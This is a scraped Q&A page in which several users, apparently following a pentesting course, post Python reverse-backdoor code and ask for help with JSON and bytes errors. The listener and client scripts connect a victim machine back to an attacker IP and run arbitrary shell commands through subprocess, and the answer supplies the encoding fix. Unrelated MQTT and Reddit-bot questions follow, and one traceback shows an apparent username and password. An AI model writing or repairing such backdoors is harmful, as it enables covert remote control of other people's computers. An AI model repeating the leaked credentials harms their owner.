Programming a backdoor with python 3.x - python

i'm writing a clinet/server backdoor with python 3 and a have got error when running code
when i try to put some command on input
I got this error from client side:
Traceback (most recent call last): File "reverse_backdoor.py", line
31, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 25, in run
command = self.relaible_receive() File "reverse_backdoor.py", line 18, in relaible_receive
return json.loads(json_data) File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s) File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char
0)
and i got this error from server side:
Traceback (most recent call last): File "listener.py", line 36, in
<module>
my_listener.run() File "listener.py", line 31, in run
result = self.execute_remotely(command) File "listener.py", line 25, in execute_remotely
self.reliable_send(command.encode('utf-8')) File "listener.py", line 17, in reliable_send
json_data = json.dumps(data) File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj) File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True) File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0) File "/usr/lib/python3.7/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable
here is my listener:
#!/usr/bin/python
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connection")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode('utf-8'))
return self.relaible_receive()
def run(self):
while True:
command = input('>>')
result = self.execute_remotely(command)
print(result)
my_listener = Listener("192.168.1.105", 4444)
my_listener.run()
And here is my backdoor:
#!/usr/bin/python
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.relaible_receive()
command_result = self.execute_system_command(command.decode('utf-8'))
self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()

You're encoding before sending to json.dumps. Encode after:
>>> import json
>>> json.dumps('command'.encode('utf8'))
...
TypeError: Object of type 'bytes' is not JSON serializable
>>> json.dumps('command').encode('utf8')
b'"command"'

Related

Error when using JSON TypeError: Object of type bytes is not JSON serializable python

I started taking a course on pentesting, and there the task was to write a simple backdoor. The option was chosen to send data >1024 using JSON.
code of client:
import json
import socket
import subprocess
class Client_C:
def __init__(self, ip, port):
self.c_connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.c_connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.c_connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.c_connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell = True)
def run(self):
try:
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
finally:
self.c_connection.close()
my_backdoor = Client_C("192.168.0.104", 4444)
my_backdoor.run()
code of server:
import socket, json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[?] Waiting for incoming connections...")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address) + " successfully!")
print("[!] Ready to follow commands!")
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data )
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
return self.reliable_receive()
def run(self):
while True:
command = input("")
if command == "exit":
self.connection.send(command)
self.connection.close()
print("[+] Connection closed successfully!")
break
result = self.execute_remotely(command)
print(result)
my_Listener = Listener("192.168.0.104", 4444)
my_Listener.run()
When executed, an error appears on the client side:
PS C:\Users\bolga\Documents\my\work> &
C:/Users/bolga/AppData/Local/Programs/Python/Python310/python.exe
c:/Users/bolga/Documents/my/work/bd.py
Traceback (most recent call last):
File "c:\Users\bolga\Documents\my\work\bd.py", line 37, in <module>
my_backdoor.run()
File "c:\Users\bolga\Documents\my\work\bd.py", line 30, in run
command = self.reliable_receive()
File "c:\Users\bolga\Documents\my\work\bd.py", line 18, in reliable_receive
json_data = json_data + self.c_connection.recv(1024)
TypeError: can only concatenate str (not "bytes") to str
If we add encoding and decoding in client strings:
def reliable_send(self, data):
json_data = json.dumps(data).encode("utf-8")
self.c_connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.c_connection.recv(1024).decode("utf-8")
return json.loads(json_data)
except ValueError:
continue
And in the server lines:
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode("utf-8"))
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode("utf-8")
return json.loads(json_data)
except ValueError:
continue
Or i will do:
json_data = b""
Then an error occurs on the client side:
Traceback (most recent call last):
File "c:\Users\bolga\Documents\my\work\bd.py", line 37, in <module>
my_backdoor.run()
File "c:\Users\bolga\Documents\my\work\bd.py", line 32, in run
self.reliable_send(command_result)
File "c:\Users\bolga\Documents\my\work\bd.py", line 11, in reliable_send
json_data = json.dumps(data).encode("utf-8")
File "C:\Users\bolga\AppData\Local\Programs\Python\Python310\lib\json\__init__.py", line 231,
in
dumps
return _default_encoder.encode(obj)
File "C:\Users\bolga\AppData\Local\Programs\Python\Python310\lib\json\encoder.py", line 199,
in encode
chunks = self.iterencode(o, _one_shot=True)
File "C:\Users\bolga\AppData\Local\Programs\Python\Python310\lib\json\encoder.py", line 257,
in iterencode
return _iterencode(o, 0)
File "C:\Users\bolga\AppData\Local\Programs\Python\Python310\lib\json\encoder.py", line 179,
in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable
Please, help me. I've been stuck with this problem for over half a month now.

i can't solve the problem when transferring a json object

I am successfully establishing a connection, but if I use json to transfer data, there is a problem. I need json to transfer large amounts of data
import json
import socket
import subprocess
class Reverce_Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.encode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command.encode('utf-8'))
self.reliable_send(command_result)
connection.close()
my_backdoor = Reverce_Backdoor("192.168.3.5", 4444)
my_backdoor.run()
I get an error :
C:\Python27\python.exe C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py
Traceback (most recent call last):
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 26, in run
self.reliable_send(command_result)
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 195, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
but this code works. the functionality is the same.
https://github.com/Oleg9637/Python
can anyone help?
Even if I do:
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
print (command_result)
self.reliable_send(command_result)
connection.close()
I get:
Traceback (most recent call last):
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 32, in <module>
my_backdoor.run()
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 27, in run
self.reliable_send(command_result)
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 195, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
the connection is established, the command is transmitted correctly, but something goes wrong

I've issue with my Listener: Object of type bytes is not JSON serializable Python3

I started to learn video with teacher, where he use a python2. Can it be issue with my codes, cause i use python3?. I've two codes that connect each other (Listener + reverse_backdoor). I've issue with Listener, when i added JSON, my code doesn't work. Before JSON all works, but I can't use commands, for example: When I use 'dir' it shows me files in directory, and next I want to use 'cd', but I can't move in directory. This first why I want to use JSON. I want to realize function which type is 'upload, download'. Check Listener (but with JSON it don't show files for me, and break):
import socket, json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print('[+] Waiting for incoming connections')
self.connection, address = listener.accept()
print('[+] Got a connection from ' + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode())
return self.reliable_receive()
def run(self):
while True:
command = input('>> ')
result = self.execute_remotely(command)
print(result)
my_listener = Listener('0.0.0.0', 4444)
my_listener.run()
Traceback:
Traceback (most recent call last):
File "/root/PycharmProjects/new1/listener/listener.py", line 34, in <module>
my_listener.run()
File "/root/PycharmProjects/new1/listener/listener.py", line 30, in run
result = self.execute_remotely(command)
File "/root/PycharmProjects/new1/listener/listener.py", line 24, in execute_remotely
self.reliable_send(command.encode())
File "/root/PycharmProjects/new1/listener/listener.py", line 16, in reliable_send
json_data = json.dumps(data)
File "/usr/lib/python3.9/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "/usr/lib/python3.9/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "/usr/lib/python3.9/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "/usr/lib/python3.9/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable
Idk if you need to reverse_backdoor, check it:
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.decode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
connection.close()
my_backdoor = Backdoor('0.0.0.0', 4444)
my_backdoor.run()
Traceback when I use command in the Listener:
Traceback (most recent call last):
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 25, in run
command = self.reliable_receive()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 18, in reliable_receive
return json.loads(json_data)
File "C:\Python310\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Python310\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python310\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Issue with JSON data receiving in paho MQTT

I am trying to publish and subscribe messages in JSON format in python with paho-mqtt.
I am able to publish messages but to subscribe to a specific key value, I am getting many errors. Could you help me find the error and also provide me a solution. I am trying to print the value of method.
code:
def subscribe(client: mqtt_client):
def on_message(client, userdata, msg):
#print(f"Received `{msg.payload}` from `{msg.topic}` topic") #.decode()
#topic = msg.topic
m_decode = str(msg.payload.decode("utf-8", "ignore"))
print("data Received type", type(m_decode))
print("data Received", m_decode)
m_in = json.loads(m_decode) # decode json data
print(type(m_in))
print("method is = ", m_decode["method"])
client.subscribe(topic_sub)
client.on_message = on_message
The error message is as below:
Traceback (most recent call last):
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 76, in <module>
run()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 73, in run
client.loop_forever()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1756, in loop_forever
rc = self._loop(timeout)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1164, in _loop
rc = self.loop_read()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1556, in loop_read
rc = self._packet_read()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 2439, in _packet_read
rc = self._packet_handle()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3033, in _packet_handle
return self._handle_publish()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3327, in _handle_publish
self._handle_on_message(message)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3570, in _handle_on_message
on_message(self, self._userdata, message)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 35, in on_message
m_in = json.loads(m_decode) # decode json data
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
I guess there is a typo in your code :)
def subscribe(client: mqtt_client):
def on_message(client, userdata, msg):
#print(f"Received `{msg.payload}` from `{msg.topic}` topic") #.decode()
#topic = msg.topic
m_decode = str(msg.payload.decode("utf-8", "ignore"))
print("data Received type", type(m_decode))
print("data Received", m_decode)
m_in = json.loads(m_decode) # decode json data
print(type(m_in))
print("method is = ", m_decode["method"]) # <-- shall be m_in["method"]
client.subscribe(topic_sub)
client.on_message = on_message

PRAW SEARCH ImportWarning: sys.meta_path is empt

I'm trying to learn Python and at the same time learn PRAW. I'm trying to run the below from PyCharm and keeping the error that is below. The code below is the basic first tutorial.
import time
import praw
r = praw.Reddit('PRAW related-question monitor by u/_Daimon_ v 1.0.'
'Url: https://praw.readthedocs.org/en/latest/'
'pages/writing_a_bot.html')
r.login()
already_done = []
prawWords = ['praw', 'reddit_api', 'mellort']
while True:
subreddit = r.get_subreddit('learnpython')
for submission in subreddit.get_hot(limit=10):
op_text = submission.selftext.lower()
has_praw = any(string in op_text for string in prawWords)
# Test if it contains a PRAW-related question
if submission.id not in already_done and has_praw:
msg = '[PRAW related thread](%s)' % submission.short_link
r.send_message('_Daimon_', 'PRAW Thread', msg)
already_done.append(submission.id)
time.sleep(1800)
Error
C:\Python34\python.exe C:/Users/Administrator/PycharmProjects/untitled1/Reddit
Traceback (most recent call last):
File "C:/Users/Administrator/PycharmProjects/untitled1/Reddit", line 6, in <module>
r.login('rbevans', 'bowstead')
File "C:\Python34\lib\site-packages\praw\__init__.py", line 1266, in login
self.user = self.get_redditor(user)
File "C:\Python34\lib\site-packages\praw\__init__.py", line 890, in get_redditor
return objects.Redditor(self, user_name, *args, **kwargs)
File "C:\Python34\lib\site-packages\praw\objects.py", line 663, in __init__
fetch, info_url)
File "C:\Python34\lib\site-packages\praw\objects.py", line 72, in __init__
self.has_fetched = self._populate(json_dict, fetch)
File "C:\Python34\lib\site-packages\praw\objects.py", line 127, in _populate
json_dict = self._get_json_dict() if fetch else {}
File "C:\Python34\lib\site-packages\praw\objects.py", line 120, in _get_json_dict
as_objects=False)
File "C:\Python34\lib\site-packages\praw\decorators.py", line 161, in wrapped
return_value = function(reddit_session, *args, **kwargs)
File "C:\Python34\lib\site-packages\praw\__init__.py", line 526, in request_json
data = json.loads(response, object_hook=hook)
File "C:\Python34\lib\json\__init__.py", line 318, in loads
return _default_decoder.decode(s)
File "C:\Python34\lib\json\decoder.py", line 343, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python34\lib\json\decoder.py", line 361, in raw_decode
raise ValueError(errmsg("Expecting value", s, err.value)) from None
ValueError: Expecting value: line 1 column 1 (char 0)
sys:1: ResourceWarning: unclosed <socket.socket fd=632, family=AddressFamily.AF_INET, type=SocketType.SOCK_STREAM, proto=0, laddr=('172.29.138.114', 50568), raddr=('198.41.208.139', 80)>
sys:1: ResourceWarning: unclosed <ssl.SSLSocket fd=608, family=AddressFamily.AF_INET, type=SocketType.SOCK_STREAM, proto=0, laddr=('172.29.138.114', 50566), raddr=('198.41.208.142', 443)>
C:\Python34\lib\importlib\_bootstrap.py:2150: ImportWarning: sys.meta_path is empty
Process finished with exit code 1

Categories